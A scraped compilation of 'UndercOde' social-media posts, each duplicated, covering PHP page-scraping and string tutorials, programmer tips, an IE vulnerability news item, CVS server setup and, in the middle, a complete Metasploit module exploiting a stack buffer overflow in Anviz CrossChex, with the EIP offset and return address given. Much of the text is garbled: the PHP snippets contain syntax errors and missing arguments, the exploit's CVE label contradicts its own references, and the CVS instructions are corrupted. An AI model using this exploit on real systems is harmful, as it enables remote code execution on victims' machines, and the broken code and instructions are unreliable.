β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦How grab and analyse a file ?
2 parts :
twitter.com/UndercOdeTC
1) Grab and analyze a fileCrawl and analyze a file
crawl and analyze a file is very simple. This tutorial will guide you step by step to achieve it with an example. let's start!
2) First, I have to decide the URL address we will crawl. Can be set in a script or passed in $ QUERY_STRING. For simplicity, let's set the variables directly in the script.
<?
$ Url = 'http://www.php.net' ;
?>
3) The second step, we crawl the specified file, and by file () function it exists in an array.
<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
?>
4) OK, now there are files in the array. However, the text we want to analyze may not be all on one line. To understand this file, we can simply convert the array $ lines_array into a string. We can implement it using the implode (x, y) function. If you later want to use explode (set an array of string variables), it may be better to set x to "|" or "!" Or other similar delimiters. But for our purposes, it is best to set x to a space. y is another required parameter because it is the array you want to process with implode ().
<?
$ url = 'http:;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
?>
5) Now the fetching work is done, it is time to analyze it. For the purpose of this example, we want to get everything between <head> to </ head>. In order to parse out the string, we also need something called a regular expression.
<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
eregi ( "<head> (. *) </ head> " , $ lines_string ,$ head );
?>
π¦How grab and analyse a file ?
2 parts :
twitter.com/UndercOdeTC
1) Grab and analyze a fileCrawl and analyze a file
crawl and analyze a file is very simple. This tutorial will guide you step by step to achieve it with an example. let's start!
2) First, I have to decide the URL address we will crawl. Can be set in a script or passed in $ QUERY_STRING. For simplicity, let's set the variables directly in the script.
<?
$ Url = 'http://www.php.net' ;
?>
3) The second step, we crawl the specified file, and by file () function it exists in an array.
<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
?>
4) OK, now there are files in the array. However, the text we want to analyze may not be all on one line. To understand this file, we can simply convert the array $ lines_array into a string. We can implement it using the implode (x, y) function. If you later want to use explode (set an array of string variables), it may be better to set x to "|" or "!" Or other similar delimiters. But for our purposes, it is best to set x to a space. y is another required parameter because it is the array you want to process with implode ().
<?
$ url = 'http:;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
?>
5) Now the fetching work is done, it is time to analyze it. For the purpose of this example, we want to get everything between <head> to </ head>. In order to parse out the string, we also need something called a regular expression.
<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
eregi ( "<head> (. *) </ head> " , $ lines_string ,$ head );
?>
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦How grab and analyse a file ?
part 2 :
1) γLet's take a look at the code. As you can see, the eregi () function is executed in the following format:
eregi ("<head> (. *) </ Head>", $ lines_string, $ head);
2) γγ"(. *)" Means everything and can be explained For, "Analyze all things between <head> and </ head>". $ lines_string is the string we are analyzing, and $ head is the array where the analysis results are stored.
3) Finally, we can lose data. Because there is only one instance between <head> and </ head>, we can safely assume that there is only one element in the array, and that is what we want. Let's print it out.
<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
eregi ( "<head> (. *) </ head> " ,);
echo $ head [ 0 ];
?>
4) That's all there is to it.
<? php
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
preg_match_all ( "/ <body ([^>] . +?)> (. *) <\ / body> / is " , $ lines_string , $ m );
echo " <xmp> " ;
echo $ m [ 2 ] [ 0 ];
?>
π¦How grab and analyse a file ?
part 2 :
1) γLet's take a look at the code. As you can see, the eregi () function is executed in the following format:
eregi ("<head> (. *) </ Head>", $ lines_string, $ head);
2) γγ"(. *)" Means everything and can be explained For, "Analyze all things between <head> and </ head>". $ lines_string is the string we are analyzing, and $ head is the array where the analysis results are stored.
3) Finally, we can lose data. Because there is only one instance between <head> and </ head>, we can safely assume that there is only one element in the array, and that is what we want. Let's print it out.
<?
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
eregi ( "<head> (. *) </ head> " ,);
echo $ head [ 0 ];
?>
4) That's all there is to it.
<? php
$ url = 'http://www.php.net' ;
$ lines_array = file ( $ url );
$ lines_string = implode ( '' , $ lines_array );
preg_match_all ( "/ <body ([^>] . +?)> (. *) <\ / body> / is " , $ lines_string , $ m );
echo " <xmp> " ;
echo $ m [ 2 ] [ 0 ];
?>
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Crawl and analysis a simple file :)
instagram.com/UndercOdeTestingCompany
It is very simple to scrape and analyze a file. This tutorial will guide you step by step to achieve it with an example. let's start!
π¦ ππΌππ πππΈβπ
1) First, I have to decide the URL address we will crawl. Can be set in a script or passed in $ QUERY_STRING. For simplicity, let's set the variables directly in the script.
<?
$ url = 'http://www.php.net'
;?> In the
2) second step, we grab the specified file and store it in an array using the file () function.
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
?>
3) OK, now there are files in the array. However, the text we want to analyze may not be all on one line. To understand this file, we can simply convert the array $ lines_array into a string. We can implement it using the implode (x, y) function. If you later want to use explode (set an array of string variables), it may be better to set x to "|" or "!" Or other similar delimiters. But for our purposes, it is best to set x to a space. y is another required parameter because it is the array you want to process with implode ().
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
$ lines_string = implode ('', $ lines_array);
?>
π¦ Crawl and analysis a simple file :)
instagram.com/UndercOdeTestingCompany
It is very simple to scrape and analyze a file. This tutorial will guide you step by step to achieve it with an example. let's start!
π¦ ππΌππ πππΈβπ
1) First, I have to decide the URL address we will crawl. Can be set in a script or passed in $ QUERY_STRING. For simplicity, let's set the variables directly in the script.
<?
$ url = 'http://www.php.net'
;?> In the
2) second step, we grab the specified file and store it in an array using the file () function.
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
?>
3) OK, now there are files in the array. However, the text we want to analyze may not be all on one line. To understand this file, we can simply convert the array $ lines_array into a string. We can implement it using the implode (x, y) function. If you later want to use explode (set an array of string variables), it may be better to set x to "|" or "!" Or other similar delimiters. But for our purposes, it is best to set x to a space. y is another required parameter because it is the array you want to process with implode ().
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
$ lines_string = implode ('', $ lines_array);
?>
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Crawl and analysis a simple file Part 2 :
instagram.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ
1) Now that the crawling is done, it's time to analyze it. For the purpose of this example, we want to get everything between <head> to </ head>. In order to parse out the string, we also need something called a regular expression.
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
$ lines_string = implode ('', $ lines_array);
eregi ("<head> (. *) </ head> ", $ lines_string, $ head);
?>
2) Let's take a look at the code. As you can see, the eregi () function is executed in the following format:
eregi ("<head> (. *) </ Head>", $ lines_string, $ head);
γγ"(. *)" Means everything and can be explained For, "Analyze all things between <head> and </ head>". $ lines_string is the string we are analyzing, and $ head is the array where the analysis results are stored.
3) Finally, we can lose data. Because there is only one instance between <head> and </ head>, we can safely assume that there is only one element in the array, and that is what we want. Let's print it out.
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
eregi ("<head> (. *) </ head>", $ lines_string, $ head);
echo $ head [0];
?>
γγThis is all the code.
π¦ Crawl and analysis a simple file Part 2 :
instagram.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ
1) Now that the crawling is done, it's time to analyze it. For the purpose of this example, we want to get everything between <head> to </ head>. In order to parse out the string, we also need something called a regular expression.
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
$ lines_string = implode ('', $ lines_array);
eregi ("<head> (. *) </ head> ", $ lines_string, $ head);
?>
2) Let's take a look at the code. As you can see, the eregi () function is executed in the following format:
eregi ("<head> (. *) </ Head>", $ lines_string, $ head);
γγ"(. *)" Means everything and can be explained For, "Analyze all things between <head> and </ head>". $ lines_string is the string we are analyzing, and $ head is the array where the analysis results are stored.
3) Finally, we can lose data. Because there is only one instance between <head> and </ head>, we can safely assume that there is only one element in the array, and that is what we want. Let's print it out.
<?
$ url = 'http://www.php.net';
$ lines_array = file ($ url);
eregi ("<head> (. *) </ head>", $ lines_string, $ head);
echo $ head [0];
?>
γγThis is all the code.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Seven elements of being a successful programmer
pintererst.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ
1) First, low commitment, high realization: If your commitment is indeed what the manager wants to hear, he will like you. However, he will not like you any more if the software is not delivered in a timely manner as promised.
2) Second, don't put errors in software: Good programmers don't put errors in their code.
3) Third, full of enthusiasm and hard work: Excellent programmers are full of enthusiasm and hard work, they are highly organized, and pay attention to methods, they have the ability to structure things. Moreover, the enthusiasm of most programmers for their hard work is incredible.
4) Fourth, know the unknown factors.
5) Fifth, get along well with team members: Software development is the result of team members' coordinated efforts.
6) Six, good beginning, good end, towards the ultimate goal: always towards the ultimate goal is a very important ability. When interviewing someone for work,
one thing you're looking for is the work he actually participated in on the product the group has already delivered.
7) Seven, learning the emerging technology: Excellent developers are people who are eager to learn.
π¦ Seven elements of being a successful programmer
pintererst.com/UndercOdeOfficial
π¦ ππΌππ πππΈβπ
1) First, low commitment, high realization: If your commitment is indeed what the manager wants to hear, he will like you. However, he will not like you any more if the software is not delivered in a timely manner as promised.
2) Second, don't put errors in software: Good programmers don't put errors in their code.
3) Third, full of enthusiasm and hard work: Excellent programmers are full of enthusiasm and hard work, they are highly organized, and pay attention to methods, they have the ability to structure things. Moreover, the enthusiasm of most programmers for their hard work is incredible.
4) Fourth, know the unknown factors.
5) Fifth, get along well with team members: Software development is the result of team members' coordinated efforts.
6) Six, good beginning, good end, towards the ultimate goal: always towards the ultimate goal is a very important ability. When interviewing someone for work,
one thing you're looking for is the work he actually participated in on the product the group has already delivered.
7) Seven, learning the emerging technology: Excellent developers are people who are eager to learn.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Now :Microsoft releases security update for Windows 7 due to severe IE vulnerabilityπ
instagram.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ
1) Microsoft releases security update for Windows 7 due to severe IE vulnerability
2) Both Windows 7 and IE browsers have stopped supporting last month, but due to the latest serious IE vulnerability, Microsoft decided to provide security patches for Windows 7 system again. After discovering a JavaScript engine vulnerability that was widely used by hackers, Microsoft decided to provide security updates for all older browsers before IE
3) This remote code execution vulnerability exists in the memory of IE processing script engine objects. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user.
4) If the current user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take control of an affected system. An attacker could then install the program. View, change or delete data; or create a new account with full user rights.
5) In a cyber attack scenario, an attacker could create a specially crafted website that specifically exploits the IE vulnerability, and then convince users to view the website. An attacker could access an application hosted on the IE rendering engine or an ActiveX control labeled "Initial Security" embedded in Microsoft Office office documents. Attackers may also use infected websites to accept or host user-provided content or advertisements. These websites may contain specially crafted content that could exploit this vulnerability.
6) The exploit can be triggered by any application that can host HTML, such as documents or PDFs, and has a "critical" rating on Windows 7, 8.1, and 10, and is currently widely used by hackers. Microsoft will release patches for all of these operating systems as well as Windows
π¦ Now :Microsoft releases security update for Windows 7 due to severe IE vulnerabilityπ
instagram.com/UndercOdeTestingCompany
π¦ ππΌππ πππΈβπ
1) Microsoft releases security update for Windows 7 due to severe IE vulnerability
2) Both Windows 7 and IE browsers have stopped supporting last month, but due to the latest serious IE vulnerability, Microsoft decided to provide security patches for Windows 7 system again. After discovering a JavaScript engine vulnerability that was widely used by hackers, Microsoft decided to provide security updates for all older browsers before IE
3) This remote code execution vulnerability exists in the memory of IE processing script engine objects. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user.
4) If the current user is logged on with administrative user rights, an attacker who successfully exploited this vulnerability could take control of an affected system. An attacker could then install the program. View, change or delete data; or create a new account with full user rights.
5) In a cyber attack scenario, an attacker could create a specially crafted website that specifically exploits the IE vulnerability, and then convince users to view the website. An attacker could access an application hosted on the IE rendering engine or an ActiveX control labeled "Initial Security" embedded in Microsoft Office office documents. Attackers may also use infected websites to accept or host user-provided content or advertisements. These websites may contain specially crafted content that could exploit this vulnerability.
6) The exploit can be triggered by any application that can host HTML, such as documents or PDFs, and has a "critical" rating on Windows 7, 8.1, and 10, and is currently widely used by hackers. Microsoft will release patches for all of these operating systems as well as Windows
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Make an xbm picturexbm is a simple two-color bitmap image format, use more early cgi, the current used for the counter
By UndercOde
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ
<PHP?
setXBM (1234567890,0);
function setXBM (NUM $, $ MODE = 0) {
setType ( $ num, "string");
$ mode = $ mode? 0xff: 0x00;
$ int_width = strlen ($ num); // digits
$ count_width = 8; // single number width
$ count_height = 16; // height
$ bitmap = array (
0 => array (0xff, 0xff, 0xff, 0xc3, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xc3, 0xff, 0xff, 0xff),
1 => array (0xff, 0xff) , 0xff, 0xcf, 0xc7, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xff, 0xff, 0xff),
2 => array (0xff, 0xff, 0xff, 0xc3, 0x99, 0x9f, 0x9f, 0xcf , 0xe7, 0xf3, 0xf9, 0xf9, 0x81, 0xff, 0xff, 0xff),
3 => array(0xff, 0xff, 0xff, 0xc3, 0x99, 0x9f, 0x9f, 0xc7, 0x9f, 0x9f, 0x9f, 0x99, 0xc3, 0xff, 0xff, 0xff),
4 => array(0xff, 0xff, 0xff, 0xcf, 0xcf, 0xc7, 0xc7, 0xcb, 0xcb, 0xcd, 0x81, 0xcf, 0x87, 0xff, 0xff, 0xff),
5 => array(0xff, 0xff, 0xff, 0x81, 0xf9, 0xf9, 0xf9, 0xc1, 0x9f, 0x9f, 0x9f, 0x99, 0xc3, 0xff, 0xff, 0xff),
6 => array(0xff, 0xff, 0xff, 0xc7, 0xf3, 0xf9, 0xf9, 0xc1, 0x99, 0x99, 0x99, 0x99, 0xc3, 0xff, 0xff, 0xff),
7 => array(0xff, 0xff, 0xff, 0x81, 0x99, 0x9f, 0x9f, 0xcf, 0xcf, 0xe7, 0xe7, 0xf3, 0xf3, 0xff, 0xff, 0xff),
8 => array(0xff, 0xff, 0xff, 0xc3, 0x99, 0x99, 0x99, 0xc3, 0x99, 0x99, 0x99, 0x99, 0xc3, 0xff, 0xff, 0xff),
9 => array(0xff, 0xff, 0xff, 0xc3, 0x99, 0x99, 0x99, 0x99, 0x83, 0x9f, 0x9f, 0xcf, 0xe3, 0xff, 0xff, 0xff)
);
echo "#define counter_width " .($count_width * $int_width)."\r\n";
echo "#define counter_height " .$count_height. "\r\n";
echo "static unsigned char counter_bits[] = {\r\n";
for($i=0; $i<$count_height; ++$i) {
for($j = 0; $j < $int_width; ++$j) {
printf("0x%2x, ",$bitmap[$num[$j]][$i]^$mode);
}
}
π¦ Make an xbm picturexbm is a simple two-color bitmap image format, use more early cgi, the current used for the counter
By UndercOde
t.me/UndercOdeTesting
π¦ ππΌππ πππΈβπ
<PHP?
setXBM (1234567890,0);
function setXBM (NUM $, $ MODE = 0) {
setType ( $ num, "string");
$ mode = $ mode? 0xff: 0x00;
$ int_width = strlen ($ num); // digits
$ count_width = 8; // single number width
$ count_height = 16; // height
$ bitmap = array (
0 => array (0xff, 0xff, 0xff, 0xc3, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xc3, 0xff, 0xff, 0xff),
1 => array (0xff, 0xff) , 0xff, 0xcf, 0xc7, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xcf, 0xff, 0xff, 0xff),
2 => array (0xff, 0xff, 0xff, 0xc3, 0x99, 0x9f, 0x9f, 0xcf , 0xe7, 0xf3, 0xf9, 0xf9, 0x81, 0xff, 0xff, 0xff),
3 => array(0xff, 0xff, 0xff, 0xc3, 0x99, 0x9f, 0x9f, 0xc7, 0x9f, 0x9f, 0x9f, 0x99, 0xc3, 0xff, 0xff, 0xff),
4 => array(0xff, 0xff, 0xff, 0xcf, 0xcf, 0xc7, 0xc7, 0xcb, 0xcb, 0xcd, 0x81, 0xcf, 0x87, 0xff, 0xff, 0xff),
5 => array(0xff, 0xff, 0xff, 0x81, 0xf9, 0xf9, 0xf9, 0xc1, 0x9f, 0x9f, 0x9f, 0x99, 0xc3, 0xff, 0xff, 0xff),
6 => array(0xff, 0xff, 0xff, 0xc7, 0xf3, 0xf9, 0xf9, 0xc1, 0x99, 0x99, 0x99, 0x99, 0xc3, 0xff, 0xff, 0xff),
7 => array(0xff, 0xff, 0xff, 0x81, 0x99, 0x9f, 0x9f, 0xcf, 0xcf, 0xe7, 0xe7, 0xf3, 0xf3, 0xff, 0xff, 0xff),
8 => array(0xff, 0xff, 0xff, 0xc3, 0x99, 0x99, 0x99, 0xc3, 0x99, 0x99, 0x99, 0x99, 0xc3, 0xff, 0xff, 0xff),
9 => array(0xff, 0xff, 0xff, 0xc3, 0x99, 0x99, 0x99, 0x99, 0x83, 0x9f, 0x9f, 0xcf, 0xe3, 0xff, 0xff, 0xff)
);
echo "#define counter_width " .($count_width * $int_width)."\r\n";
echo "#define counter_height " .$count_height. "\r\n";
echo "static unsigned char counter_bits[] = {\r\n";
for($i=0; $i<$count_height; ++$i) {
for($j = 0; $j < $int_width; ++$j) {
printf("0x%2x, ",$bitmap[$num[$j]][$i]^$mode);
}
}
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ String manipulation functionsThere are many string manipulation functions in PHP 3.0, the most important are the following:
pinterest.com/UndercOdeOfficial
1) echo, print, printf, sprintf are
used to output strings. If there is a variable name in the string, it is replaced with its value. The latter two functions are similar to C's functions of the same name.
2) strchr, strlen, strtok, strrchr, strrev, strstr, strtolower, strtoupper, substr, ucfirst
string manipulation functions, some of them have exactly the same meaning as the functions of the same name in C strrev is to flip a string. strtolower and strtoupper are to convert the string to lowercase and uppercase. ucfirst is to convert the first character of the string to uppercase. substr is a substring of the returned string, usage is: substr (String, head, length). The head position is counted from 0. If it is negative, it means counting from the tail to the front.
3) Chr, Ord
function with the same name.
4) explode, implement, join
and Functions related to arrays. Explode (string, delimiter) returns an array produced by dividing a string at a delimiter. Implode (array, delimiter) returns a result of inserting a delimiter between the elements of an array string implode and join the same meaning.
5) Chop
processing . Trailing white space
6) htmlspecialchars
the HTML special characters into their names, such as "<" to "& lt;".
7) Add "<BR>" in front of each carriage return in HTML.
AddSlashes, StripSlashes
8) Add "\" and remove "\" to the string as required. For some databases, you must query the Characters can be queried after adding and removing "\".
9) parse_str
analyzes strings of type "name1 = value1 & name2 = value2 & ..." into variables.
> For example: parse_str ("a = 1 & b = 2"); Generate $ a and $ b variables with values of 1,2. If two pairs of names / values have the same name part, the value of the latter overwrites the previous one. If both ends of the name have "[ ] ", Such as" a [] =
π¦ String manipulation functionsThere are many string manipulation functions in PHP 3.0, the most important are the following:
pinterest.com/UndercOdeOfficial
1) echo, print, printf, sprintf are
used to output strings. If there is a variable name in the string, it is replaced with its value. The latter two functions are similar to C's functions of the same name.
2) strchr, strlen, strtok, strrchr, strrev, strstr, strtolower, strtoupper, substr, ucfirst
string manipulation functions, some of them have exactly the same meaning as the functions of the same name in C strrev is to flip a string. strtolower and strtoupper are to convert the string to lowercase and uppercase. ucfirst is to convert the first character of the string to uppercase. substr is a substring of the returned string, usage is: substr (String, head, length). The head position is counted from 0. If it is negative, it means counting from the tail to the front.
3) Chr, Ord
function with the same name.
4) explode, implement, join
and Functions related to arrays. Explode (string, delimiter) returns an array produced by dividing a string at a delimiter. Implode (array, delimiter) returns a result of inserting a delimiter between the elements of an array string implode and join the same meaning.
5) Chop
processing . Trailing white space
6) htmlspecialchars
the HTML special characters into their names, such as "<" to "& lt;".
7) Add "<BR>" in front of each carriage return in HTML.
AddSlashes, StripSlashes
8) Add "\" and remove "\" to the string as required. For some databases, you must query the Characters can be queried after adding and removing "\".
9) parse_str
analyzes strings of type "name1 = value1 & name2 = value2 & ..." into variables.
> For example: parse_str ("a = 1 & b = 2"); Generate $ a and $ b variables with values of 1,2. If two pairs of names / values have the same name part, the value of the latter overwrites the previous one. If both ends of the name have "[ ] ", Such as" a [] =
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Anviz CrossChex - Buffer Overflow (Metasploit)
CVE-2020-2019 EXPLOITE β οΈ
Tested by UndercOde On Windows 10 :
twitter.com/UndercOdeTC
> This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##IP
π¦ class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
PACKET_LEN = 10
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Anviz CrossChex Buffer Overflow',
'Description' => %q{
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
triggering a stack buffer overflow.
},
'Author' =>
[
'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
'agalway-r7', # Module creation
'adfoster-r7' # Module creation
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12518'],
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
['EDB', '47734']
],
'Payload' =>
{
'Space' => 8947,
'DisableNops' => true
},
'Arch' => ARCH_X86,
'EncoderType' => Msf::Encoder::Type::Raw
'Privileged' => true,
'Platform' => 'win',
'DisclosureDate' => '2019-11-28',
'Targets' =>
[
[
'Crosschex Standard x86 <= V4.3.12',
{
'Offset' => 261, # Overwrites memory to allow EIP to be overwritten
'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
'Shift' => 4 # Positions payload to be written at beginning of ESP
}
]
],
'DefaultTarget' => 0
))
deregister_udp_options
register_options(
[
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
])
end
def exploit
connect_udp
res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))
if res.empty?
fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
end
print_status "CrossChex broadcast received, sending payload in response"
sploit = rand_text_english(target['Offset'])
sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
sploit << payload.encoded
udp_sock.sendto(sploit, host, port)
print_status "Payload sent"
end
end
π¦ Anviz CrossChex - Buffer Overflow (Metasploit)
CVE-2020-2019 EXPLOITE β οΈ
Tested by UndercOde On Windows 10 :
twitter.com/UndercOdeTC
> This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##IP
π¦ class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
PACKET_LEN = 10
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Anviz CrossChex Buffer Overflow',
'Description' => %q{
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
triggering a stack buffer overflow.
},
'Author' =>
[
'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
'agalway-r7', # Module creation
'adfoster-r7' # Module creation
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12518'],
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
['EDB', '47734']
],
'Payload' =>
{
'Space' => 8947,
'DisableNops' => true
},
'Arch' => ARCH_X86,
'EncoderType' => Msf::Encoder::Type::Raw
'Privileged' => true,
'Platform' => 'win',
'DisclosureDate' => '2019-11-28',
'Targets' =>
[
[
'Crosschex Standard x86 <= V4.3.12',
{
'Offset' => 261, # Overwrites memory to allow EIP to be overwritten
'Ret' => "\x07\x18\x42\x00", # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
'Shift' => 4 # Positions payload to be written at beginning of ESP
}
]
],
'DefaultTarget' => 0
))
deregister_udp_options
register_options(
[
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
])
end
def exploit
connect_udp
res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))
if res.empty?
fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
end
print_status "CrossChex broadcast received, sending payload in response"
sploit = rand_text_english(target['Offset'])
sploit << target.ret # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
sploit << payload.encoded
udp_sock.sendto(sploit, host, port)
print_status "Payload sent"
end
end
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ LINUX as the CVS server two
twitter.com/UndercOdeTC
1) backup and mobile software library of
backup software library files and other backup files is no different, but you need a backup tool to open this lock CVS, you must first register a user can read the software library. To open the CVS software library, you need to edit the `` # cvs.rfl 'file.
2) When you want to use a backed up soft library to restore the original library, if the original library has been changed after you backed up, CVS will report an error. You must Follow the steps below to
> get a new working directory
3) Copy the files that failed the last commit (of course, you can't copy the CVS directory files)
4) Work in the new directory, use cvs update or cvs diff and other commands to indicate those changes. Use cvs commit to save changes to the software library.
5) If you want to move a software library to another place, it is also very simple. The easiest way is to create a new directory to the directory to be moved. If you want to re- using the original directory, it can only manually modify the `` CVS / Repository '' and `` CVS / Root '', unless you're good at this, otherwise it is not recommended.
π¦ LINUX as the CVS server two
twitter.com/UndercOdeTC
1) backup and mobile software library of
backup software library files and other backup files is no different, but you need a backup tool to open this lock CVS, you must first register a user can read the software library. To open the CVS software library, you need to edit the `` # cvs.rfl 'file.
2) When you want to use a backed up soft library to restore the original library, if the original library has been changed after you backed up, CVS will report an error. You must Follow the steps below to
> get a new working directory
3) Copy the files that failed the last commit (of course, you can't copy the CVS directory files)
4) Work in the new directory, use cvs update or cvs diff and other commands to indicate those changes. Use cvs commit to save changes to the software library.
5) If you want to move a software library to another place, it is also very simple. The easiest way is to create a new directory to the directory to be moved. If you want to re- using the original directory, it can only manually modify the `` CVS / Repository '' and `` CVS / Root '', unless you're good at this, otherwise it is not recommended.
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦CVS remote user management by UndercOde :
instagram.com/UndercOdeTestingCompany
1) as a CVS server, you should Two points. First, ensure that the software library has enough space. Second, ensure that there is no less than 32M of memory. The server generates two processes for each user who connects to it.
2) The cost of the child process is small. But if the network bandwidth not enough, spending on the parent process is enormous.
3) Another big spending is diff file, when large source files, authenticates him or expenses detection is also great.
π¦ remote user login authentication method
> to rsh for routine remote login
1) Cvs server should use rsh to allow users to connect. Rshosts should be configured.
2) Assume that the user tom on the remote host tom.exsample.com needs to connect to the funame.simple.com cvs server to work. The server-side bach directory should be edited. Add
> Tom.exsample.com tom
> client to run rsh -l bach funame.simple.com 'echo @PATH
3) to make sure that you can connect to the CVS server, and the client should write the displayed path to .bashrc or cshrc (Instead of .logiin or .profile.)
4) In addition, the client can also define the environment variable CVS_SEVER. To define the location of the host. On the server side, modify the /etc/ineted.conf file to tell the server to get specific When the port is connected, run cvssever.
5) The default value of this port number is: 2041. Of course, in order not to be set every time you use it, you can use it by defining the environment variable CVS_AUTH_PORT on the
> client . Call, just add the following sentence in /etc/ineted.conf file to 2401 stream tcp nowait root / usr / local / bin / cvs cvs --f --allow --root = / cvsroot pserver
6) can also use the -T option to define the buffer directory.
βallow β root defines the software libraries available to users. If there are more software libraries on the server, this sentence needs to be reused. In addition, internal users can do this Define the environment variable CVSROOT
: pseve: usr@funam.simple.com: / cvsroot
7) Where usr is the username (for linux) funam.simple.com is the cvs server, and assumes / cvsroot is the directory name of the software library. The remote user can use the following form::
etx: psever: usr@funam.silple.com: / cvsroot
: etx: It is defined as a remote user, and the rest is the same as above.
8) If the client's ineted is used by general calls, only in / etc / seveice Add the following sentence:
cvspsever 2401 / tcp
restart ineted to read the initialization file.
